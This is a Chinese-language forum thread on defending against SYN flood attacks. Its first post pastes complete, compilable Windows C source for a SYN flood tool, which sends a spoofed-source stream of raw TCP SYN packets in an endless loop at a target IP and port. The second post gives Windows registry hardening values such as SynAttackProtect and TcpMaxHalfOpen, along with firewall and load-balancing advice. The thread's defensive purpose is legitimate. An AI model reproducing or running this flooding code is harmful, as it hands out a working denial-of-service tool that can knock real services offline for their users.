返回列表 发帖

[讨论]针对syn flood,怎么办?

我把synflood的攻击程序代码也贴出来 #include #include #include #include #pragma comment(lib,"ws2_32") #pragma comment(lib,"wsock32") #define FAKE_IP "201.79.131.18" #define SEQ 0x28376839 #define right "===============Coder Paris-ye====================\n" USHORT checksum(USHORT *buffer, int size); int flood(); typedef struct tcphdr { USHORT th_sport; USHORT th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_lenres; unsigned char th_flag; USHORT th_win; USHORT th_sum; USHORT th_urp; }TCP_HEADER; typedef struct iphdr { unsigned char h_verlen; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; }IP_HEADER; struct { unsigned long saddr; unsigned long daddr; char mbz; char ptcl; unsigned short tcpl; }PSD_HEADER; WSADATA wsaData; SOCKET sockMain = (SOCKET) NULL; int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0; unsigned short activPort=40000; struct sockaddr_in sockAddr; TCP_HEADER tcpheader; IP_HEADER ipheader; char sendBuf[128]; USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size-=sizeof(USHORT); } if(size) cksum+=*(UCHAR*)buffer; cksum=(cksum >> 16)+(cksum&0xffff); cksum+=(cksum >>16); return (USHORT)(~cksum); } int main(int argc,char* argv[]) { int portNum=0; DWORD dw; HANDLE hThread=NULL; char putInfo; if(argc!=3) { printf("%s\n",right); printf("Invalid command,Pls use:\n%s \nExample:%s 192.168.100.244 80",argv[0],argv[0]); return 1; } if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ printf("WSAStartup failed: %d\n",ErrorCode); return 2; } sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if(sockMain==INVALID_SOCKET) { printf("Socket failed: %d\n",WSAGetLastError()); return 3; } ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt failed: %d\n",WSAGetLastError()); return 4; } ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt time out failed: %d\n",WSAGetLastError()); return 5; } portNum=atoi(argv[2]); memset(&sockAddr,0,sizeof(sockAddr)); sockAddr.sin_family=AF_INET; sockAddr.sin_addr.s_addr =inet_addr(argv[1]); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long)); ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); ipheader.ident = 1; ipheader.frag_and_flags = 0; ipheader.ttl = 128; ipheader.proto = IPPROTO_TCP; ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); ipheader.destIP = inet_addr(argv[1]); tcpheader.th_dport=htons(portNum); tcpheader.th_sport = htons(portNum); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_ack = 0; tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0); tcpheader.th_flag = 2; tcpheader.th_win = htons(16384); tcpheader.th_urp = 0; tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; PSD_HEADER.daddr=ipheader.destIP; PSD_HEADER.mbz=0; PSD_HEADER.ptcl=IPPROTO_TCP; PSD_HEADER.tcpl=htons(sizeof(tcpheader)); printf("%s\n",right); hThread=createThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,create_SUSPENDED,&dw); SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST); ResumeThread(hThread); printf("Warning[start]...........\nPress any key to stop!\n"); putInfo=getchar(); TerminateThread(hThread,0); WSACleanup(); printf("\nStopd...........\n"); return 0; } int flood() { while(1) { if(SendSEQ++==65536) SendSEQ=1; if(activPort++==40010) activPort=1000; ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_sport = htons(activPort); tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER)); memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader)); tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader)); memcpy(sendBuf,&ipheader,sizeof(ipheader)); memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader)); memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4); dataSize=sizeof(ipheader)+sizeof(tcpheader); ipheader.checksum=checksum((USHORT *)sendBuf,dataSize); memcpy(sendBuf,&ipheader,sizeof(ipheader)); ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr)); if(ErrorCode==SOCKET_ERROR) { printf("\nCan';t connect this IP!Pls check it.\n"); ExitThread(1); } // Sleep(1000); } return 0; }

TOP

[讨论]针对syn flood,怎么办?

以下是另一种减轻攻击影响的方法
通过注册表修改强化Windows2000的tcp/ip防synflood能力
Windows2000以及以上版本的tcp/ip协议盏已经内置了对于synflood的一些简单防护功能,可以抵御一定流量的synflood攻击,但是默认是关闭的,下面介绍如何通过修改注册表开启Windows内置的syn防护功能。

抵御 SYN 攻击
SYN 攻击利用了 TCP/IP 连接建立机制中的安全漏洞。要实施 SYN 洪水攻击,攻击者会使用程序发送大量 TCP SYN 请求来填满服务器上的挂起连接队列。这会禁止其他用户建立网络连接。
要保护网络抵御 SYN 攻击,请按照下面这些通用步骤操作(这些步骤将在本文档的稍后部分进行说明):
• 启用 SYN 攻击保护
• 设置 SYN 保护阈值
• 设置其他保护

启用 SYN 攻击保护
启用 SYN 攻击保护的命名值位于此注册表项的下面:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。
值名称: SynAttackProtect
建议值: 2
有效值: 0 – 2
说明:使 TCP 调整 SYN-ACK 的重传。配置此值后,在遇到 SYN 攻击时,对连接超时的响应将更快速。在超过 TcpMaxHalfOpen 或 TcpMaxHalfOpenRetried 的值后,将触发 SYN 攻击保护。
设置 SYN 保护阈值
下列值确定触发 SYN 保护的阈值。这一部分中的所有注册表项和值都位于注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 的下面。这些注册表项和值是:
• 值名称: TcpMaxPortsExhausted
建议值: 5
有效值: 0 – 65535
说明:指定触发 SYN 洪水攻击保护所必须超过的 TCP 连接请求数的阈值。
• 值名称: TcpMaxHalfOpen
建议的数值数据: 500
有效值: 100 – 65535
说明:在启用 SynAttackProtect 后,该值指定处于 SYN_RCVD 状态的 TCP 连接数的阈值。在超过 SynAttackProtect 后,将触发 SYN 洪水攻击保护。
• 值名称: TcpMaxHalfOpenRetried
建议的数值数据: 400
有效值: 80 – 65535
说明:在启用 SynAttackProtect 后,该值指定处于至少已发送一次重传的 SYN_RCVD 状态中的 TCP 连接数的阈值。在超过 SynAttackProtect 后,将触发 SYN 洪水攻击保护。

设置其他保护
这一部分中的所有注册表项和值都位于注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 的下面。这些注册表项和值是:
• 值名称: TcpMaxConnectResponseRetransmissions
建议的数值数据: 2
有效值: 0 – 255
说明:控制在响应一次 SYN 请求之后、在取消重传尝试之前 SYN-ACK 的重传次数。
• 值名称: TcpMaxDataRetransmissions
建议的数值数据: 2
有效值: 0 – 65535
说明:指定在终止连接之前 TCP 重传一个数据段(不是连接请求段)的次数。
• 值名称: EnablePMTUDiscovery
建议的数值数据: 0
有效值: 0, 1
说明:将该值设置为 1(默认值)可强制 TCP 查找在通向远程主机的路径上的最大传输单元或最大数据包大小。攻击者可能将数据包强制分段,这会使堆栈不堪重负。对于不是来自本地子网的主机的连接,将该值指定为 0 可将最大传输单元强制设为 576 字节。
• 值名称: KeepAliveTime
建议的数值数据: 300000
有效值: 80 – 4294967295
说明:指定 TCP 尝试通过发送持续存活的数据包来验证空闲连接是否仍然未被触动的频率。
• 值名称: NoNameReleaseOnDemand
建议的数值数据: 1
有效值: 0, 1
说明:指定计算机在收到名称发布请求时是否发布其 NetBIOS 名称。

使用表 1 中汇总的值可获得最大程度的保护。
表 1:建议值
值名称 值 (REG_DWORD)
SynAttackProtect
2
TcpMaxPortsExhausted
1
TcpMaxHalfOpen
500
TcpMaxHalfOpenRetried
400
TcpMaxConnectResponseRetransmissions
2
TcpMaxDataRetransmissions
2
EnablePMTUDiscovery
0
KeepAliveTime
300000(5 分钟)
NoNameReleaseOnDemand
1

经测试,按照推荐值设置注册表对于10Mbps以下流量的攻击可以保证完全不影响正常服务,10-20Mbps之间可能会造成访问速度变慢,对于不同配置的机器抵御能力也相应不同,经测试类似我们虚拟主机的配置机器曾经在不作其他安全设置的情况下成功防御了30Mbps以上的流量。
此文章所讲述内容适用于Windows2000和Windows Server 2003,Win2003SP1已经默认打开了上面的设置,不需要单独修改注册表了。
如果客户机器受到小流量攻击,可以试试看使用此种方法防御,再配合上软件防火墙,相信能够解决一定的问题。
--------------------------------------------------------------------------------
关于软件防火墙测试
冰盾、VF、黑冰 首选

不过我个人觉得一般使用dos攻击手法的都不是大面积攻击,我认为最简便的减轻这种攻击的方法是把iis设置下,禁止掉攻击来源的ip段,再用防火墙过滤下就ok了,如果对对方使用的大面积攻击的话,以上的方法和策略就都行不通了,只有依赖于负载均衡技术和硬件防火墙等来减轻攻击影响了,这也是目前针对dos攻击和ddos攻击的最有效方法了,不过花费的代价较高,一般的企业公司都不会采用此种策略.

TOP

返回列表 回复 发帖